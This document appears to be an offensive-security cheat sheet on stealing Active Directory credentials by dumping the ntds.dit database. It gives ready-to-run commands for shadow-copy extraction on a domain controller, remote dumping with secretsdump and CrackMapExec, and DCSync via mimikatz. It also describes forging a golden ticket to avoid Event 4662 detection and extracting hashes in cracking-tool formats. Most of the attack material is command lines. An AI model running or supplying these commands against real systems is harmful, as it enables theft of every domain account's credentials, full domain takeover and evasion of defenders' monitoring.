# Post Exploitation - ntds.dit dumping

### Through code execution on a Domain Controller

If code execution could be achieved on a `Domain Controller`, with sufficient privileges to access the `ntds.dit` database (file: `%WINDIR%\Windows\NTDS\ ntds.dit`), multiples Windows utilities can be used to export the `ntds.dit`.

On a standard `Domain Controller` installation, the `NT AUTHORITY\SYSTEM` built-in Windows Account and the `Administrators` domain group have `full control` access on the file. Additionally, yet again in a standard configuration, members of the `Backup Operators` (`SID: S-1-5-32-551`) domain group have the necessary privileges to open an interactive (and remote) session on the `Domain Controllers` (`SeInteractiveLogonRight`) and can make use of the `SeBackupPrivilege` privilege to open files with the `FILE_FLAG_BACKUP_SEMANTICS` flag in order to bypass the file access permissions.

As the `ntds.dit` file is being continuously accessed, the file cannot be directly copied ("The action can't be completed because the file is open in another program"). The copy must be done through the Windows `shadow copy` mechanism, which leverage a temporary freezing of the I/O requests on the file. The freezing is requested by the `Volume Shadow Copy Service (VSS)` Windows built-in service, which orchestrate the creation of the `shadow copy`.

The sensitive information in the `ntds.dit` file is encrypted using the system `Boot Key` (also known as the `System Key`, or `SysKey`). This key is located in the `HKEY_LOCAL_MACHINE\SYSTEM` registry hive (`C:\Windows\system32\config\ SYSTEM` file) and is unique to each `Domain Controller`. The `SYSTEM` registry hive (or the `Boot Key` directly) must thus be exported from the `Domain Controller` the `ntds.dit` was copied from. The Windows built-in `reg` command line utility can be used to do so:

```
reg save HKLM\SYSTEM <EXPORT_PATH>\SYSTEM
```

**ntdsutil**

The Windows Active Directory `Ntdsutil` administration utility can be used as a wrapper around `vssadmin` to dump the `ntds.dit` database file.

`Ntdsutil` will additionally automatically export the `SECURITY` and `SYSTEM` registry hives and conduct a defragmentation of the database file (wrapping around the `esentutl` utility).

Note that the `ntdsutil` utility requires elevated privileges that are not attributed to members of the `Backup Operators` domain group (error: `error 0x2(The system cannot find the file specified.)`).

```
# One-liner.
ntdsutil "ac i ntds" "ifm" "create full <EXPORT_FOLDER>" q q

# Ntdsutil interactive console.
ntdsutil.exe
activate instance ntds
ifm
create full <EXPORT_FOLDER>
quit
quit
```

**vssadmin**

The Windows built-in `Volume Shadow Copy Service administrative (vssadmin)` command line utility can be used to create a `shadow copy` of the Windows install volume in order to make a `shadow copy` of the `ntds.dit` database file.

While still available by default, the `vssadmin` utility has been superseded by the `diskshadow` utility on `Windows Server 2008`, and later.

Note that the `vssadmin` utility requires elevated privileges that are not attributed to members of the `Backup Operators` domain group (error: `Error: You don't have the correct permissions to run this command.`).

```
vssadmin create shadow /for=C:
# Shadow Copy ID: <GUID>
# Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>

# The copy should be done using the DOS copy.exe utility, as the copy PowerShell command, alias for Get-ChildItem seems to have trouble copying from a shadow volume.
cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\NTDS\ntds.dit <EXPORTED_NTDS_DIT>"

vssadmin delete shadows /shadow=<GUID>
```

**diskshadow**

Similarly to the `vssadmin` utility, the Windows `diskshadow` utility directly interact with the Windows `VSS` service.

By default, the `diskshadow` utility uses an interactive command interpreter but also includes the possibility to execute `diskshadow` commands directly from a script file.

Note that the `diskshadow` utility can be used by members of the `Backup Operators` domain group to create a shadow volume.

The following `diskshadow` commands can be executed, either through an interactive `diskshadow` commands interpreter or from a script file by starting `diskshadow.exe -s <SCRIPT_FILE>`, to create a shadow volume and directly copy the `ntds.dit` file. In order to make use of the `diskshadow.exe`'s `exec "cmd.exe" [...]` command, `diskshadow.exe` must be started in the `C:\Windows\System32` directory, otherwise the command execution will fail. If doing so is not a possibility, the copy may also be done outside of `diskshadow`, after the shadow volume creation.

```
set context persistent nowriters
add volume c: alias <ALIAS>
create
expose %<ALIAS>% <DRIVE_LETTER>:
exec "cmd.exe" /c copy <DRIVE_LETTER>:\Windows\NTDS\ntds.dit <EXPORTED_NTDS_DIT>
delete shadows volume %<ALIAS>%
reset
```

**WMI win32\_shadowcopy**

The `Windows Management Instrumentation (WMI)` class `win32_shadowcopy` can be used to create a `shadow copy` as well:

```
# Either commands create the shadow copy volume.
wmic shadowcopy call create Volume='C:\'
powershell.exe -Command (gwmi -List win32_shadowcopy).Create('C:\', 'ClientAccessible')

# Lists the shadow copy volume configured in order to retrieve the created shadow copy ID.
wmic shadowcopy
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_ }

# Copies the ntds.dit file directly from the volume shadow copy.
cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\NTDS\ntds.dit <EXPORTED_NTDS_DIT>"

# Alternatively creates a symbolic link to the volume shadow copy, allowing the copy to be browsed in Windows Explorer.
# The trainling "\" SHOULD NOT be omitted.
mklink /d <DIRECTORY_FOR_MOUNTING_PATH> \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\

# Will delete all instances of shadow copy volumes.
wmic delete

# Deletes the specified shadow copy volume.
Get-WmiObject Win32_ShadowCopy | ForEach-Object { If ($_.ID -like "<GUID>") { $_.Delete() }}

# Alternatively will prompt for confirmation before deleting a shadow copy volume but require to be started through an interactive command prompt.
wmic
wmic:root\cli> shadowcopy delete
```

### Remotely over the network

**Remote Volume Shadow Copy**

The `vssadmin` utility can be executed remotely, over the `SMB`, `WMI` or `DCOM` protocols, in order to export the `ntds.dit`. As implemented in `impacket`'s `secretsdump.py` Python script, the `ntds.dit` database file is exported in a temporary folder and parsed remotely. `CrackMapExec` wraps around the methods from `secretsdump.py`.

```
# Wrap around secretsdump.py
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds vss
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds vss
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds vss
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds vss

# The -dc-ip option may not be properly taken into account. If so, the domain name can be associated to an IP in the /etc/hosts (Linux) or C:\Windows\System32\drivers\etc\hosts (Windows) file.
# Additionally, a Domain Controller IP can be specified in the target string in place of the domain name.
# -exec-method: smbexec, wmiexec, or mmcexec (over the DCOM protocol).
# Static stand-alone secretsdump binaries for Windows and Linux x64 available at: https://github.com/ropnop/impacket_static_binaries
secretsdump.py -dc-ip <DC_IP> -use-vss -just-dc-user "<krbtgt | USERNAME>" "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
secretsdump.py -dc-ip <DC_IP> -use-vss "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
secretsdump.py -use-vss [-exec <EXEC_METHOD>] "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
```

**DCSync (DRSUAPI)**

The `DCSync` attack consists in leveraging the Active Directory `DRSUAPI` replication functions (part of the `Directory Replication Service (DRS)` protocol) to remotely retrieve the specified Active Directory objects' sensible information. The `DRSUAPI` functions are normally used by the `Domain Controllers` to replicate the modifications made to AD objects and keep the AD objects consistent across all the `Domain Controllers` of the forest. The `DRSUAPI` replication functions are exposed on the network by the `Microsoft Remote Procedure Call (MSRPC)` `DRSUAPI` interface on each `Domain Controller`. Thus, contrary to the others methods explicated so far, no local code execution on a `Domain Controller` is required to retrieve information from the `ntds.dit` database.

While multiples `DRSUAPI` intermediate functions are used in the replication process, the `DSGetNCChanges` function implements the replication request.

The following privileges on the `domain root object` are necessary to make replication requests through the `DRSUAPI`:

* Replicating Directory Changes (`Ds-Replication-Get-Changes`, `ACE GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`)
* Replicating Directory Changes All (`Ds-Replication-Get-Changes-All`, `ACE GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`)

Those privileges are, in a default Active Directory configuration, granted to the `Domain Controllers`, `ENTERPRISE DOMAIN CONTROLLERS`, `Domain Admins`, `Enterprise Admins` and `Administrators` domain groups. For more information on how to retrieve, and potentially exploit, the privileges configured on the `domain root object`, refer to the `[ActiveDirectory] ACL exploiting` note.

```
# Wrap around secretsdump.py. May however encounter problems if using a Domain Controller machine account NTLM hash.
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds drsuapi
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds drsuapi
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds drsuapi
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds drsuapi

# Static stand-alone secretsdump binaries for Windows and Linux x64 available at: https://github.com/ropnop/impacket_static_binaries
secretsdump.py -dc-ip <DC_IP> -just-dc-user "<krbtgt | USERNAME>" "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
secretsdump.py -dc-ip <DC_IP> "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
secretsdump.py "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
secretsdump.py -hashes <LM_HASH:NTLM_HASH> <DOMAIN>/<USERNAME>@<DOMAIN | DC_IP>"

# If an error "0x00000003 (3) - ERROR_NOT_UNIQUE" is returned, the domain of the user should be specified as well (<DOMAIN\USERNAME>).
mimikatz # lsadump::dcsync /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> [/all | /user:<krbtgt | USERNAME | DOMAIN\USERNAME>]

Invoke-Mimikatz -Command '"/domain:<DOMAIN_FQDN> /dc:<DC_FQDN> [/all | /user:<krbtgt | USERNAME | DOMAIN\USERNAME>]"'
```

Note that whenever a replication request is made by any security principals that is not a machine account member of the `Domain Controllers` / `ENTERPRISE DOMAIN CONTROLLERS` domain groups, Windows `Security` events `Event 4662: An operation was performed on an object` are generated. The generated events will have, in the `Property` attribute, the `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` and `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` `GUID`, and can thus be effectively used to detect `DCSync` attacks. In order to avoid the generation of such events, the identity of a `Domain Controller` can be usurped, either after the compromise of a `Domain Controller` machine account `NTLM` hash or the compromise of any of the `krbtgt` account secret.

Indeed, with knowledge of a secret of the targeted domain's `krbtgt` account, a `golden ticket` impersonating a Domain Controller can be generated to conduct replication operations without raising Windows `Security` events (`Event 4662: An operation was performed on an object`). The `golden ticket` can be crafted using `mimikatz` `kerberos::golden` module or `impacket`'s `ticketer.py`. For more information on `golden tickets`, refer to the `[ActiveDirectory] Golden Tickets` note.

```
# The <IMPERSONATED_DC_RID> can be obtained using:
(New-Object System.Security.Principal.NTAccount("<DOMAIN>","<DC_MACHINE_ACCOUNT")).Translate([System.Security.Principal.SecurityIdentifier]).Value

# mimikatz can be used to inject the generated golden ticket in the current session, allowing for direct use of "mimikatz # lsadump::dcsync".
mimikatz.exe "kerberos::golden /user:<IMPERSONATED_DC_MACHINE_ACCOUNT> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> [/rc4:<KRBTGT_NTLM> | /aes128:<KRBTGT_AES128> | /aes256:<KRBTGT_AES256>] /id:<IMPERSONATED_DC_RID> /groups:516 /sids:S-1-5-21-<DOMAIN_IDENTIFIER-AUTHORITY>-516,S-1-5-9 /ptt" "exit"
```

For more information on how to impersonate a Domain Controller after the initial compromise of its machine account `NTLM` hash refer to the `[ActiveDirectory] Silver Tickets` note.

### ntds.dit credentials information extraction

The `impacket`'s `secretsdump` Python script and PowerShell cmdlets of the `DSInternals` module can be used to extract account(s) credentials information from a specified `ntds.dit` file.

```
secretsdump.py -user-status -ntds <NTDS_DIT_FILE> -system <SYSTEM_HIVE_FILE> LOCAL

$key = Get-BootKey -SystemHivePath '<EXPORTED_SYSTEM>'
# By default all of the account(s) secrets are retrieved (NTHashHistory, LMHashHistory, Kerberos AES keys, etc.).
# The PowerShell cmdlet Format-Custom can used to automatically extract the LM / NTLM hashes of the output in a format supported by hashcat (HashcatNT) or John the Ripper (JohnLM / JohnNT).
Get-ADDBAccount -All -DBPath '<EXPORTED_NTDS_DIT>' -BootKey $key
Get-ADDBAccount -SamAccountName "krbtgt" -DBPath '<EXPORTED_NTDS_DIT>' -BootKey $key

Get-ADDBAccount -All -DBPath '<EXPORTED_NTDS_DIT>' -BootKey $key | Format-Custom -View <HashcatNT | JohnLM | JohnNT> | Out-File <OUTPUT_FILE>
```

If the exported `ntds.dit` database file appears to be corrupted, the Windows `Extensible Storage Engine Utilities (esentutl)` utility may be used in order to check the integrity and attempt a repair of the database file. `esentutl` must be run on a Domain Controller to satisfy external dependencies, such as the `ntdsai.dll` DLL, needed to interact with a `ntds.dit` database.

```
# Checks the integrity of the database file. The check may fail even is the database is not corrupted with the error message "Database was not shutdown cleanly".
esentutl /g <EXPORTED_NTDS_DIT>

# Attempts a repair on the specified ntds.dit database file.
esentutl /p <EXPORTED_NTDS_DIT>
```

***

### References

<https://docs.microsoft.com/fr-fr/windows-server/storage/file-server/volume-shadow-copy-service> <https://github.com/giuliano108/SeBackupPrivilege/blob/master/README.md> <https://pure.security/dumping-windows-credentials/> <https://cqureacademy.com/cqure-labs/cqlabs-dsinternals-powershell-module> <https://www.dsinternals.com/en/dumping-ntds-dit-files-using-powershell/> <https://wiki.samba.org/index.php/DRSUAPI> <https://adsecurity.org/?p=1729> <https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-drsr/58f33216-d9f1-43bf-a183-87e3c899c410> <https://blog.stealthbits.com/what-is-dcsync-an-introduction/>
